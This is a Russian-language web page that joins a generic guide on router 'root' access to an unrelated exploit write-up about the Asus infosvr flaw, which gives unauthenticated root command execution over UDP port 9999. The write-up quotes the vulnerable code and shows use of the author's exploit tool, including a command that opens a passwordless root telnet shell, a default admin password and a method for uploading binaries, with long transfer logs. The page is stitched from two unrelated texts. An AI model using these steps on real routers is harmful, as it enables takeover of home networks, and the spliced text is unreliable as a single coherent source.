Что такое рут на роутере

Роутер — это устройство, которое отвечает за передачу пакетов данных между сетями. Он является одним из основных компонентов домашней или офисной сети, обеспечивая подключение к интернету и обмен информацией между устройствами в сети.

Однако, многие пользователи роутера, особенно новички, может путаться в терминологии и не понимать, что такое «рут» на роутере. В этом руководстве мы разъясним, что означает «рут» на роутере и как он может быть полезен для вас.

Корень, или «рут», на роутере обычно относится к административному доступу к устройству. По умолчанию, роутеры имеют административную учетную запись, которая позволяет пользователю выполнить различные настройки и изменения в работе роутера. Эта административная учетная запись обычно называется «рут» или «админ».

Примечание: Рут на роутере даёт владельцу полный контроль над устройством, поэтому важно быть осторожным при внесении изменений в настройки роутера.

Чтобы получить доступ к руту на роутере, вам нужно знать логин и пароль административной учетной записи роутера. Эти данные обычно указаны в инструкции к роутеру или на его корпусе. Если вы не знаете логин и пароль, вам придется обратиться к документации или провайдеру, установившему роутер.

Содержание

  1. Рут на роутере: основы и общая информация
  2. Зачем нужен рут на роутере и для чего он используется
  3. Как получить рут на роутере: шаги и инструкция

Рут на роутере: основы и общая информация

Рут доступ на роутере дает пользователю возможность выполнить различные операции, такие как изменение настроек, обновление прошивки, настройка безопасности сети и т. д. Однако, используя рут доступ, необходимо быть осторожным, так как неправильные настройки или неосторожное обращение с роутером могут привести к нежелательным последствиям, таким как неработоспособность сети или уязвимость для атак.

Получение рут доступа на роутере может быть реализовано различными способами в зависимости от модели роутера и используемого программного обеспечения. Один из самых распространенных способов получения рут доступа – это ввод логина и пароля администратора. Кроме того, существуют и другие методы, такие как использование уязвимостей в программном обеспечении, взлом паролей или использование специализированных инструментов для взлома роутеров.

Важно помнить, что получение рут доступа на роутере должно быть согласовано с правилами и политиками, установленными вашим интернет-провайдером или администратором сети. Несанкционированное получение рут доступа может привести к юридическим последствиям и нарушению законодательства.

В общем, рут на роутере является важной функцией, позволяющей пользователям настраивать и управлять своей сетью. Однако, необходимо использовать ее с осторожностью и ответственностью, чтобы избежать проблем и обеспечить безопасность своей сети.

Зачем нужен рут на роутере и для чего он используется

Использование рут-аккаунта на роутере позволяет пользователю изменять настройки сети, устанавливать и настраивать дополнительные функции, управлять безопасностью и многое другое. Например, рут-аккаунт может быть использован для:

Изменения настроек сети – пользователь может настроить IP-адреса, маски подсети, DNS-серверы, порты и другие параметры сети.
Установки дополнительных функций – рут-аккаунт позволяет пользователю устанавливать дополнительное программное обеспечение, расширять функциональность роутера.
Управления безопасностью – путем доступа к рут-аккаунту пользователь может настраивать брандмауэры, фильтры, VPN и другие инструменты безопасности для защиты своей сети.
Обновления прошивки роутера – рут-аккаунт дает возможность обновить прошивку роутера до последней версии, что обеспечит работу с улучшенными функциями и исправленными ошибками.

Однако, следует помнить, что использование рут-аккаунта также предполагает большую ответственность. Неправильные настройки или некорректные изменения могут привести к неработоспособности сети или небезопасному использованию роутера. Поэтому, перед тем как делать какие-либо изменения в настройках роутера, рекомендуется ознакомиться с инструкциями и руководствами, а также сохранить бэкап текущих настроек для возможного восстановления.

Как получить рут на роутере: шаги и инструкция

Получение root-доступа (или рут-доступа) на роутере может быть полезным для настройки дополнительных функций, установки неофициального ПО и выполнения других системных операций. Однако, следует иметь в виду, что получение root-доступа может быть опасным и привести к непредсказуемым результатам, включая нестабильной работы роутера или полного выхода его из строя. Поэтому, необходимо проявлять осторожность и тщательно проследовать указанным ниже шагам и инструкции.

Шаг 1: Проверьте возможность получения root-доступа

Не все модели роутеров поддерживают получение root-доступа. Поэтому, перед началом процесса следует убедиться, что ваша модель роутера позволяет это сделать. Для этого можно обратиться к документации к роутеру, провести поиск в Интернете или обратиться за помощью к сообществу пользователей техники.

Шаг 2: Подготовка к процессу получения root-доступа

Перед началом процесса получения root-доступа необходимо выполнить следующие подготовительные шаги:

  • Создайте резервную копию – перед началом процесса рекомендуется создать резервную копию настроек роутера, чтобы в случае проблем можно было восстановить предыдущую настройку.
  • Ознакомьтесь с инструкцией производителя – внимательно прочитайте инструкцию пользователя роутера от производителя, чтобы понять особенности вашей модели и рекомендации по получению root-доступа.
  • Подготовьте необходимые инструменты – убедитесь, что у вас есть все необходимые программы, компьютер или устройство для подключения к роутеру, доступ к интернету, а также кабели и другие материалы.

Шаг 3: Выполнение процедуры получения root-доступа

Следуйте инструкциям по процедуре получения root-доступа для вашего конкретного роутера. Обычно этот процесс включает выполнение определенных команд или последовательности действий через интерфейс администрирования роутера. Однако, стоит отметить, что каждая модель роутера может иметь свою уникальную процедуру получения root-доступа, поэтому, важно тщательно изучить документацию от производителя.

Шаг 4: Проверка root-доступа

После выполнения процедуры получения root-доступа рекомендуется проверить его наличие. Для этого можно выполнить определенные команды или провести проверку через интерфейс администрирования роутера. Если все прошло успешно, вы должны увидеть подтверждающие сообщения или статус, указывающий на наличие root-доступа.

Обратите внимание: неправильное выполнение процедуры получения root-доступа может привести к нежелательным последствиям, таким как выход роутера из строя или нарушение его работы. Выполняйте процесс только если вы понимаете все риски и имеете достаточные знания в данной области.

Время на прочтение
28 мин

Количество просмотров 107K

В начале 2015 года компания Asus исправила критичнейшую уязвимость в своих роутерах. «Дыра» была в службе по имени infosvr, использующейся утилитами Asus для облегчения настройки роутера путём его автоматического обнаружения в локальной сети. Уязвимость позволяла выполнять любые команды с правами root (ведь infosvr тоже root), что давало злоумышленнику полный контроль над системой.

Но Asus выпустила исправленные прошивки. Теперь это всё в прошлом. Или нет? Хм… А как часто обыватели обновляют прошивки на своих роутерах?

Прошу под кат за подробностями, историей обнаружения, исследованиями, инструкциями и… эксплоитами.

В чём дело?

Служба infosvr слушает 9999 порт (UDP). Когда приходит пакет размером не менее 512 байт она анализирует его и в зависимости от его типа выполняет соответствующие ответные действия. Например, собирает информацию о некоторых настройках роутера и отправляет её программе Device Discovery, которая помогает найти IP-адрес роутера. Но есть ещё и такой тип пакета, который подразумевает выполнение системной команды роутером. Тут-то Asus’овцы и облажались. Из-за ошибки в коде обработки такого пакета выполнить команду можно без всякой авторизации. Это строка if (memcpy(phdr_ex->MacAddress, mac, 6)==0) в следующем листинге (несущественные строки удалены):

Часть функции processPacket(int sockfd, char *pdubuf) из common.c

if (phdr->OpCode!=NET_CMD_ID_GETINFO && phdr->OpCode!=NET_CMD_ID_GETINFO_MANU)
{
	phdr_ex = (IBOX_COMM_PKT_HDR_EX *)pdubuf;
	// Check Mac Address
	if (memcpy(phdr_ex->MacAddress, mac, 6)==0)
	{
		_dprintf("Mac Error %2x%2x%2x%2x%2x%2x\n",
			(unsigned char)phdr_ex->MacAddress[0],
			(unsigned char)phdr_ex->MacAddress[1],
			(unsigned char)phdr_ex->MacAddress[2],
			(unsigned char)phdr_ex->MacAddress[3],
			(unsigned char)phdr_ex->MacAddress[4],
			(unsigned char)phdr_ex->MacAddress[5]
		);
		return NULL;
	}


	phdr_res->Info = phdr_ex->Info;
	memcpy(phdr_res->MacAddress, phdr_ex->MacAddress, 6);
}

Вероятно, там вместо memcpy предполагалось memcmp (вот что бывает когда копируете строки кода, с целью чуть-чуть подправить потом), а вместо == предполагалось !=. Но даже если бы этой ошибки не было, всё равно для проникновения достаточно было бы знать MAC-адрес.

После успешной «аутентификации» команда из пакета будет выполнена:

Та же функция; чуть далее по коду

switch(phdr->OpCode)
{

	case NET_CMD_ID_MANU_CMD:
		#define MAXSYSCMD 256
		char cmdstr[MAXSYSCMD];
		PKT_SYSCMD *syscmd;

		syscmd = (PKT_SYSCMD *)(pdubuf+sizeof(IBOX_COMM_PKT_HDR_EX));

		if (syscmd->len>=MAXSYSCMD) syscmd->len=MAXSYSCMD;
		syscmd->cmd[syscmd->len]=0;
		syscmd->len=strlen(syscmd->cmd);
		
		
		fprintf(stderr,"system cmd: %d %s\n", syscmd->len, syscmd->cmd);
		sprintf(cmdstr, "%s > /tmp/syscmd.out", syscmd->cmd);
		system(cmdstr);

А теперь, хотите квест?

  • Идите сюда
  • Выберите любой маршрутизатор
  • Пройдите по пути Поддержка -> Драйверы и утилиты -> ОС -> Firmware
  • Ищите в списке прошивку за январь 2015-го
  • В описании к ней наверняка есть скупая фраза «Fixed infosvr security issue.«
  • ???
  • !!!

Впечатляют масштабы? На самом деле всё было не так уж и плохо (а сейчас, когда «дыру» закрыли — вообще хорошо). Дело в том, что infosvr работает с интерфейсом br0, т.е. с мостом между другими интерфейсами. В случае, если роутер работает в режиме IP Sharing (Режим общего IP), br0 объединяет eth0 и wlan0. Заметьте, eth1 (который WAN) сюда не входит. Т.е. уже радует то, что с внешней сети никто не пролезет. А вот когда роутер в режиме Access point, то br0 объединяет все интерфейсы…

История обнаружения

Как-то мне захотелось порулить своим роутером через UART, то бишь через аппаратную консоль. «Зачем такие трудности? По телнету зайди.» — скажете вы. Не тут-то было! Это же RT-N10E! (Он же RT-N10LX).

Не буду тут много рассказывать насколько это дерьмовый роутер. Кто сталкивался — знает. А для счастливчиков, кому не приходилось с ним возиться скажу, что роутеры Asus RT-xxxE (или RT-xxxLX) имеют процессор от Realtek, под который нет альтернативных прошивок! Хотя сообщество пытается. На официальных же прошивках я пару лет назад пользовался PPTP. Постоянные зависания, разрывы и прочие радости. PPPoE по началу вообще не поднимался (в какой-то прошивке исправили). Сейчас этот роутер работает просто как мост между WiFi и Ethernet.

Подробнее о различиях RT-xxxE и RT-xxxLX

Различие Asus RT-N10E и Asus RT-N10LX
По сути, это один и тот же роутер, Asus RT-N10LX имеет антенну на 2 dBi, RT-N10E – 5 dBi. В спецификациях к RT-N10LX указано дополнительно IEEE 802.11d – по сути, означает только то, что роутер учитывает региональные правовые ограничения в сфере связи, в связи с чем, используется более слабая антенна. Лично мне попался экземпляр (2012 года сборки) с малой антенной на 2 dBi, при этом вся маркировка на роутере и коробке говорит о том, что это RT-N10E, а не RT-N10LX. Если внимательно посмотреть информацию на официальном сайте, там это указано: «Antenna type will differ according to local regulations and requirement in each country» а также «This model sells only in EU, China, and South America». Как говорится, те же яйца, только в профиль. Прошивка в этих двух моделях одна и та же.

Различие Asus RT-N10E/LX и RT-N12E/LX
В 12-й модели тот же процессор, но другой контроллер – RTL8192CE, который позволяет использовать 2 MIMO, обеспечивая теоретически до 300 Мбит/сек. Отличие версий RT-N12E и RT-N12LX – в антеннах.

Различие Asus RT-N10E/LX и Asus RT-N10
У ASUS также есть роутеры RT-N10 и RT-N12. И тут важно понимать, это другие устройства, которые собраны на базе чипов Broadcom. Для RT-N10 и RT-N12 есть альтернативные прошивки энтузиастов, в том числе «от Олега». Будьте внимательны при покупке!

Источник

Итак, подключились к UARTу.

Подключение к UARTу

Включаем. Видим процесс загрузки. (Кэп: Кстати, через телнет этого не увидишь. Так-то!)

Так загрузка роутера выглядит через /dev/console (/dev/ttyS0)

========== SPI =============
SDRAM CLOCK:156MHZ
— Force into Single IO Mode — |No chipID Sft chipSize blkSize secSize pageSize sdCk opCk chipName |
| 0 ef4016h 0h 400000h 10000h 1000h 100h 104 39 W25Q32|
— —RealTek(RTL8196C)at 2012.04.09-16:54+0800 version v1.1f [16bit](390MHz)

####return_addr: 0x05010000, root_bin_offset: 0x050dd012
Jump to image start=0x80500000…
decompressing kernel:
Uncompressing Linux… done, booting the kernel.
done decompressing kernel.
start address: 0x80003600
RTL8192C/RTL8188C driver version 1.6 (2011-07-18)

Probing RTL8186 10/100 NIC-kenel stack size order[2]…
chip name: 8196C, chip revid: 4
NOT YET
eth0 added. vid=9 Member port 0x10…
eth1 added. vid=8 Member port 0x1…
eth2 added. vid=9 Member port 0x2…
eth3 added. vid=9 Member port 0x4…
eth4 added. vid=9 Member port 0x8…
[peth0] added, mapping to [eth1]…
init started: BusyBox v1.13.4 (2014-09-18 18:01:50 CST)

##flash.c free apmib ##
Init Start…

##system/sysconf.c free apmib ##

##flash.c free apmib ##
===== Set parameter for BSMI test=====
Init bridge interface…
syslog will use 64KB for log(7 rotate, 1 original, 8KB for each)
Init Wlan application…

##flash.c free apmib ##

##flash.c free apmib ##
Init Firewall Rules…
No wan ip currently!
Init WAN Interface…
start_wan: sysop 0 wan_iface eth1 lan_iface br0 wisp_id 0 act_source 1
set_dhcp_client: sysop 0 wan_iface eth1 lan_iface br0 wisp_id 0 act_source 1
start_wan_dhcp_client: iface eth1
No such process

MiniIGD v1.07 (2013.05.21-07:19+0000).

System TZ ENV = GMT-2
Restart networkmap

##system/sysconf.c free apmib ##
start infosvr
router ip = 192.168.1.1
mac addr = 50:46:5d:86:76:fc
WLAN0_WLAN_DISABLED=0 ##flash.c free apmib ##
sh: ##flash.c: unknown operand
# Start wanduck!
Start httpd!

# 1:Enable direct rule

После окончания загрузки я начал исследовать систему: версии ПО, железо и другую информацию, которую можно добыть при помощи консоли. Но об этом позже.

Интересно посмотреть реакцию на стандартные действия пользователя, как-то: нажатие на кнопку WPS, настройка через веб-морду, использование Asus Utility… Действительно, на консоли появлялась соответствующая информация. Отдельно стоит упомянуть такой факт: при попытке открыть веб-интерфейс httpd (предположительно) пишет в /dev/console (/dev/ttyS0) логин и пароль для входа!

UserID: admin
UserPass: asus-rt

Правда, на телнет (/dev/ttyp0) это не попадает.

Из всего пакета Asus Utility (Device Discovery, Router Setup Wizard и Firmware Restoration) реакцию консоли вызвал только Router Setup Wizard. А именно: при запуске приложения и нажатии на кнопку «Далее» появляются такие строки:

system cmd: 17 nvram get sw_mode
rund: echo 1 > /tmp/syscmd.out
2 1

system cmd: 17 nvram get sw_mode
rund: echo 1 > /tmp/syscmd.out
2 1

system cmd: 17 nvram get sw_mode
rund: echo 1 > /tmp/syscmd.out
2 1

system cmd: 17 nvram get sw_mode
rund: echo 1 > /tmp/syscmd.out
2 1

system cmd: 19 nvram get x_Setting
sh: nvram: not found
rund: nvram get x_Setting > /tmp/syscmd.out
0 1

system cmd: 19 nvram get x_Setting
sh: nvram: not found
rund: nvram get x_Setting > /tmp/syscmd.out
0 1

system cmd: 19 nvram get x_Setting
sh: nvram: not found
rund: nvram get x_Setting > /tmp/syscmd.out
0 1

system cmd: 19 nvram get x_Setting
sh: nvram: not found
rund: nvram get x_Setting > /tmp/syscmd.out
0 1

Хм…
Эти команды Router Setup Wizard передаёт? Посмотрел через Wireshark — да, эти команды передаются в UDP пакетах с RSW. А что если их заменить на свои?

Оказывается, я не первый

Перед тем, как начать ковыряться в пакетах, я решил погуглить. И нагуглил кое-что (раз и два). По второй ссылке подробное описание уязвимости и простой эксплоит под Линукс (есть и на python-е).

Велосипед AsusCmd

Мне хотелось бы иметь такую программку под Windows, поскольку Я 95% времени пользуюсь именно ей. Не хочется ради выполнения какой-то команды загружать виртуальную машину с Ubuntu.

Размеры

В процессе написания и отладки эксплоита, а также копания в исходниках infosvr выяснились «параметры» этой «дыры».
А именно её размеры. Они такие:
Размеры буферов приёма и отправки — по 420 байт. И всё бы неплохо, но реально 420 байт роутер может только отправить в ответе. А вот с приёмом дела ещё хуже. Дело в том, что после приёма команды infosvr обрезает её до 256 символов и только потом — исполняет. Но и это ещё не последнее ограничение. При выполнении команды длиной чуть менее 256 символов infosvr падает с

грохотом

segmentation fault. Команда выполнена, но ни ответа уже не будет, ни возможности исполнить ещё что-то. Опытным путём была найдена предельная безопасная длина пользовательской команды. Это

238

символов. Итак, размеры «дыры»: 238 — команда, 420 — ответ.

Подробнее (с примером)

infosvr вызывает

system(«echo „Some text“>/var/myText;cat /var/myText > /tmp/syscmd.out»);

Тут полная команда:

‘echo «Some text»>/var/myText;cat /var/myText > /tmp/syscmd.out’

Где:

‘echo «Some text»>/var/myText;cat /var/myText’

— команда, отправленная пользователем с помощью AsusCmd;

‘ > /tmp/syscmd.out’

— жёстко запрограммировано в коде infosvr.

Кстати, зачем нужно перенаправление в /tmp/syscmd.out? А затем, что именно с него потом считывается в буфер 420 байт и отправляется ответ на команду.

«Предельная безопасная длина» относится именно к пользовательской команде.

Т.е. при длине пользовательской команды 238 символов длина полной команды будет 238+18=256. Может именно падения infosvr хотели избежать разработчики, когда обрезали команду до 256 символов? Похоже они не учли strlen(» > /tmp/syscmd.out»).

Експлоит написан и отлажен. Можно пользоваться.

Пример работы

Но так рулить роутером не очень удобно. И, если в данном случае ограничение в 238 символов команды не сильно заметно, то ограничение на вывод ответа в 420 символов — это уже печальнее. Но выход есть! Хоть на роутере и сильно ограниченный busybox, но там всё-же есть telnetd! Запускать его лучше на нестандартном порте, т.к. защиты нет никакой: для подключения пароль не нужен.

AsusCmd.exe «telnetd -l/bin/sh -p777»

Ну, теперь другое дело! Можно полноценно командовать со всеми удобствами, как-то история команд и дополнение по Tab. Если телнет перестал отвечать, его можно перезапустить, не перезагружая роутер. Сначала надо прибить связанный с ним sh:

AsusCmd.exe «killall -9 sh»

Учтите, что после выполнения этой команды будет также убит sh, который связан с /dev/console. Теперь можно снова запускать telnetd.

Отлично. Тема исчерпана? Как-бы не так.

Продолжение банкета

Итак, мы можем пользоваться всеми доступными командами. Можем создавать и удалять файлы в каталогах, доступных для записи (ramfs /var). Можно записать несколькими командами длинный текстовый файл. Но не только текстовый! Ведь echo в Linux-е умеет преобразовывать текст в двоичные данные! Это значит, что мы можем заливать на роутер свои программы, которых нам не хватает!

AsusBinWrite

Идея проста:

  • считываем порцию байт с файла-источника
  • преобразуем их в текстовый вид, понятный для ‘echo -e
  • формируем системную команду
  • отправляем на роутер
  • повторяем пока не перешлём весь файл

Но это на словах всё легко и просто. На практике мы имеем дело с парой неприятных факторов:

  • UDP пакеты, которые иногда теряются
  • Ограничение на полезную длину системной команды (238 символов)

С ограничением на полезную длину команды всё понятно: просто придётся больше пакетов отправить. Плохо в этом случае то, что страдает скорость передачи. Ведь процессору роутера приходится обрабатывать много мелких пакетов. Т.е. скорость передачи прямо пропорциональна скорости процессора роутера. (Проверено с помощью cpuload: во время работы AsusBinWrite CPU роутера грузится на 100%).

С UDP посложнее. Надо как-то контролировать правильность передачи. Примитивный способ — просто дописывать очередные байты в конец файла — не подходит. Стоит одному пакету на пути к роутеру потеряться или продублироваться — и файл уже бракован. Поэтому принято решение сначала записывать отдельные части в разные файлы и проверять их содержимое. А в потом их можно объединить. И ещё: объединять следует не в самом конце, а через какое-то количество переданных частей. Потому, что одна часть занимает места в памяти не, скажем, 40 байт (размер файла-части), а все 4 КБ (страница). А если частей тысячи? Никакой оперативки не хватит (На RT-N10E её лишь 16MB). После успешного объединения (успешность тоже проверяется по признаку увеличения размера целевого файла на роутере) эти части удаляются. Вот так в цикле передаём весь файл до конца. Получился такой-себе протокол надёжной передачи файлов на роутер посредством UDP.

Пример передачи исполняемого файла

Чтобы лучше понять алгоритм работы предлагаю посмотреть, что происходит на /dev/console (/dev/ttyS0) во время передачи файла и сопоставить это с выводом самого AsusBinWrite.

Вывод AsusBinWrite (обратите внимание на случаи потери пакетов)

Start uploading file to 255.255.255.255…
Source file: ‘Useful\ldd’ Target file: ‘/var/ldd’
0.5% 742.4 Bps part 1 (49 B; cmd: 237 ch) ‎192.168.1.1: OK
1.0% 106.5 Bps part 2 (49 B; cmd: 237 ch) LOST
1.0% 32.7 Bps part 2 (49 B; cmd: 237 ch) 192.168.1.1: OK
1.5% 347.5 Bps part 3 (49 B; cmd: 237 ch) 192.168.1.1: OK
1.9% 159.1 Bps part 4 (49 B; cmd: 237 ch) שש192.168.1.1: OK
2.4% 150.3 Bps part 5 (49 B; cmd: 237 ch) ששLOST
2.4% 32.2 Bps part 5 (49 B; cmd: 237 ch) 192.168.1.1: OK
2.9% 376.9 Bps part 6 (49 B; cmd: 237 ch) שLOST
2.9% 32.6 Bps part 6 (49 B; cmd: 237 ch) 192.168.1.1: OK
3.4% 401.6 Bps part 7 (49 B; cmd: 237 ch) ש192.168.1.1: OK
3.9% 146.3 Bps part 8 (49 B; cmd: 237 ch) 192.168.1.1: OK
4.4% 102.3 Bps part 9 (49 B; cmd: 237 ch) ש192.168.1.1: OK
4.8% 150.0 Bps part 10 (48 B; cmd: 235 ch) 192.168.1.1: OK
5.3% 176.5 Bps part 11 (48 B; cmd: 235 ch) 192.168.1.1: OK
5.8% 120.9 Bps part 12 (48 B; cmd: 235 ch) שש192.168.1.1: OK
6.3% 145.5 Bps part 13 (48 B; cmd: 235 ch) 192.168.1.1: OK
6.8% 144.6 Bps part 14 (48 B; cmd: 235 ch) שLOST
6.8% 31.7 Bps part 14 (48 B; cmd: 235 ch) 192.168.1.1: OK
7.2% 285.7 Bps part 15 (48 B; cmd: 235 ch) 192.168.1.1: OK
7.7% 147.7 Bps part 16 (48 B; cmd: 235 ch) LOST
7.7% 32.0 Bps part 16 (48 B; cmd: 235 ch) 192.168.1.1: OK
8.2% 333.3 Bps part 17 (48 B; cmd: 235 ch) ש192.168.1.1: OK
8.7% 146.3 Bps part 18 (48 B; cmd: 235 ch) ש192.168.1.1: OK
9.1% 148.1 Bps part 19 (48 B; cmd: 235 ch) ש192.168.1.1: OK
9.6% 141.6 Bps part 20 (48 B; cmd: 235 ch) שש192.168.1.1: OK
10.1% 145.0 Bps part 21 (48 B; cmd: 235 ch) 192.168.1.1: OK
10.6% 145.5 Bps part 22 (48 B; cmd: 235 ch) ש192.168.1.1: OK
11.0% 148.1 Bps part 23 (48 B; cmd: 235 ch) שש192.168.1.1: OK
11.5% 145.9 Bps part 24 (48 B; cmd: 235 ch) ש192.168.1.1: OK
12.0% 137.5 Bps part 25 (48 B; cmd: 235 ch) 192.168.1.1: OK
12.5% 146.3 Bps part 26 (48 B; cmd: 235 ch) 192.168.1.1: OK
12.9% 151.9 Bps part 27 (48 B; cmd: 235 ch) שש192.168.1.1: OK
13.4% 172.0 Bps part 28 (48 B; cmd: 235 ch) ש192.168.1.1: OK
13.9% 126.0 Bps part 29 (48 B; cmd: 235 ch) שש192.168.1.1: OK
14.4% 173.3 Bps part 30 (48 B; cmd: 235 ch) שLOST
14.4% 31.7 Bps part 30 (48 B; cmd: 235 ch) 192.168.1.1: OK
14.8% 358.2 Bps part 31 (48 B; cmd: 235 ch) ש192.168.1.1: OK
15.3% 144.6 Bps part 32 (48 B; cmd: 235 ch) ש192.168.1.1: OK
15.8% 149.5 Bps part 33 (48 B; cmd: 235 ch) שש192.168.1.1: OK
16.3% 137.1 Bps part 34 (48 B; cmd: 235 ch) ש192.168.1.1: OK
16.7% 153.8 Bps part 35 (48 B; cmd: 235 ch) ש192.168.1.1: OK
17.2% 138.7 Bps part 36 (48 B; cmd: 235 ch) ש192.168.1.1: OK
17.7% 145.5 Bps part 37 (48 B; cmd: 235 ch) 192.168.1.1: OK
18.2% 140.4 Bps part 38 (48 B; cmd: 235 ch) 192.168.1.1: OK
18.7% 154.3 Bps part 39 (48 B; cmd: 235 ch) LOST
18.7% 32.0 Bps part 39 (48 B; cmd: 235 ch) LOST
18.7% 32.0 Bps part 39 (48 B; cmd: 235 ch) LOST
18.7% 31.6 Bps part 39 (48 B; cmd: 235 ch) 192.168.1.1: OK
19.1% 428.6 Bps part 40 (48 B; cmd: 235 ch) ש192.168.1.1: OK
19.6% 175.2 Bps part 41 (48 B; cmd: 235 ch) ש192.168.1.1: OK
20.1% 120.6 Bps part 42 (48 B; cmd: 235 ch) 192.168.1.1: OK
20.6% 146.3 Bps part 43 (48 B; cmd: 235 ch) ש192.168.1.1: OK
21.0% 150.0 Bps part 44 (48 B; cmd: 235 ch) שש192.168.1.1: OK
21.5% 145.0 Bps part 45 (48 B; cmd: 235 ch) ששLOST
21.5% 31.0 Bps part 45 (48 B; cmd: 235 ch) 192.168.1.1: OK
22.0% 363.6 Bps part 46 (48 B; cmd: 235 ch) ש192.168.1.1: OK
22.5% 137.9 Bps part 47 (48 B; cmd: 235 ch) 192.168.1.1: OK
22.9% 154.3 Bps part 48 (48 B; cmd: 235 ch) ש192.168.1.1: OK
23.4% 145.0 Bps part 49 (48 B; cmd: 235 ch) ששLOST
23.4% 31.9 Bps part 49 (48 B; cmd: 235 ch) 192.168.1.1: OK
23.9% 360.9 Bps part 50 (48 B; cmd: 235 ch) ששLOST
23.9% 31.8 Bps part 50 (48 B; cmd: 235 ch) 192.168.1.1: OK
24.4% 345.3 Bps part 51 (48 B; cmd: 235 ch) 192.168.1.1: OK
24.8% 151.4 Bps part 52 (48 B; cmd: 235 ch) שLOST
24.8% 31.6 Bps part 52 (48 B; cmd: 235 ch) 192.168.1.1: OK
25.3% 342.9 Bps part 53 (48 B; cmd: 235 ch) ש192.168.1.1: OK
25.8% 145.0 Bps part 54 (48 B; cmd: 235 ch) שש192.168.1.1: OK
26.3% 151.4 Bps part 55 (48 B; cmd: 235 ch) ש192.168.1.1: OK
26.7% 145.5 Bps part 56 (48 B; cmd: 235 ch) ש192.168.1.1: OK
27.2% 147.7 Bps part 57 (48 B; cmd: 235 ch) ש192.168.1.1: OK
27.7% 143.7 Bps part 58 (48 B; cmd: 235 ch) ש192.168.1.1: OK
28.2% 142.9 Bps part 59 (48 B; cmd: 235 ch) ש192.168.1.1: OK
28.6% 142.9 Bps part 60 (48 B; cmd: 235 ch) ש192.168.1.1: OK
29.1% 149.1 Bps part 61 (48 B; cmd: 235 ch) 192.168.1.1: OK
29.6% 142.4 Bps part 62 (48 B; cmd: 235 ch) ש192.168.1.1: OK
30.1% 142.9 Bps part 63 (48 B; cmd: 235 ch) 192.168.1.1: OK
30.6% 145.9 Bps part 64 (48 B; cmd: 235 ch) ש192.168.1.1: OK
31.0% 148.1 Bps part 65 (48 B; cmd: 235 ch) ש192.168.1.1: OK
31.5% 144.6 Bps part 66 (48 B; cmd: 235 ch) ש192.168.1.1: OK
32.0% 141.2 Bps part 67 (48 B; cmd: 235 ch) ש192.168.1.1: OK
32.5% 142.9 Bps part 68 (48 B; cmd: 235 ch) 192.168.1.1: OK
32.9% 151.4 Bps part 69 (48 B; cmd: 235 ch) ש192.168.1.1: OK
33.4% 143.7 Bps part 70 (48 B; cmd: 235 ch) שש192.168.1.1: OK
33.9% 146.8 Bps part 71 (48 B; cmd: 235 ch) ש192.168.1.1: OK
34.4% 183.9 Bps part 72 (48 B; cmd: 235 ch) 192.168.1.1: OK
34.8% 144.1 Bps part 73 (48 B; cmd: 235 ch) שש192.168.1.1: OK
35.3% 117.1 Bps part 74 (48 B; cmd: 235 ch) ש192.168.1.1: OK
35.8% 144.6 Bps part 75 (48 B; cmd: 235 ch) 192.168.1.1: OK
36.3% 144.6 Bps part 76 (48 B; cmd: 235 ch) 192.168.1.1: OK
36.7% 151.4 Bps part 77 (48 B; cmd: 235 ch) שש192.168.1.1: OK
37.2% 172.0 Bps part 78 (48 B; cmd: 235 ch) 192.168.1.1: OK
37.7% 119.7 Bps part 79 (48 B; cmd: 235 ch) 192.168.1.1: OK
38.2% 143.7 Bps part 80 (48 B; cmd: 235 ch) 192.168.1.1: OK
38.6% 151.9 Bps part 81 (48 B; cmd: 235 ch) שש192.168.1.1: OK
39.1% 143.7 Bps part 82 (48 B; cmd: 235 ch) ש192.168.1.1: OK
39.6% 146.8 Bps part 83 (48 B; cmd: 235 ch) ש192.168.1.1: OK
40.1% 183.9 Bps part 84 (48 B; cmd: 235 ch) שש192.168.1.1: OK
40.5% 117.1 Bps part 85 (48 B; cmd: 235 ch) שש192.168.1.1: OK
41.0% 142.9 Bps part 86 (48 B; cmd: 235 ch) ש192.168.1.1: OK
41.5% 147.2 Bps part 87 (48 B; cmd: 235 ch) שש192.168.1.1: OK
42.0% 179.1 Bps part 88 (48 B; cmd: 235 ch) 192.168.1.1: OK
42.5% 145.5 Bps part 89 (48 B; cmd: 235 ch) שש192.168.1.1: OK
42.9% 136.8 Bps part 90 (48 B; cmd: 235 ch) 192.168.1.1: OK
43.4% 120.0 Bps part 91 (48 B; cmd: 235 ch) 192.168.1.1: OK
43.9% 151.9 Bps part 92 (48 B; cmd: 235 ch) שש192.168.1.1: OK
44.4% 143.3 Bps part 93 (48 B; cmd: 235 ch) ש192.168.1.1: OK
44.8% 146.3 Bps part 94 (48 B; cmd: 235 ch) ש192.168.1.1: OK
45.3% 145.9 Bps part 95 (48 B; cmd: 235 ch) שש192.168.1.1: OK
45.8% 138.7 Bps part 96 (48 B; cmd: 235 ch) 192.168.1.1: OK
46.3% 151.4 Bps part 97 (48 B; cmd: 235 ch) שLOST
46.3% 31.8 Bps part 97 (48 B; cmd: 235 ch) 192.168.1.1: OK
46.7% 436.4 Bps part 98 (48 B; cmd: 235 ch) שש192.168.1.1: OK
47.2% 138.7 Bps part 99 (48 B; cmd: 235 ch) LOST
47.2% 32.0 Bps part 99 (48 B; cmd: 235 ch) 192.168.1.1: OK
47.7% 378.0 Bps part 100 (48 B; cmd: 237 ch) שש192.168.1.1: OK
Merging to /var/ldd parts 1..16 (16 pcs; cmd: 228 ch)… OK (777 B)
Merging to /var/ldd parts 17..32 (16 pcs; cmd: 238 ch)… OK (1545 B)
Merging to /var/ldd parts 33..48 (16 pcs; cmd: 238 ch)… OK (2313 B)
Merging to /var/ldd parts 49..64 (16 pcs; cmd: 238 ch)… OK (3081 B)
Merging to /var/ldd parts 65..80 (16 pcs; cmd: 238 ch)… OK (3849 B)
Merging to /var/ldd parts 81..96 (16 pcs; cmd: 238 ch)… OK (4617 B)
Merging to /var/ldd parts 97..100 (4 pcs; cmd: 71 ch)… OK (4809 B)
Written 4.70KB/9.85KB 77.0 Bps (avg) Remaining: 01:08 (01:02/02:10)

48.2% 5.2 Bps part 101 (49 B; cmd: 237 ch) 192.168.1.1: OK
48.7% 116.7 Bps part 102 (49 B; cmd: 237 ch) שש192.168.1.1: OK
49.1% 196.8 Bps part 103 (49 B; cmd: 237 ch) LOST
49.1% 32.7 Bps part 103 (49 B; cmd: 237 ch) 192.168.1.1: OK
49.6% 418.8 Bps part 104 (49 B; cmd: 237 ch) שש192.168.1.1: OK
50.1% 138.8 Bps part 105 (49 B; cmd: 237 ch) 192.168.1.1: OK
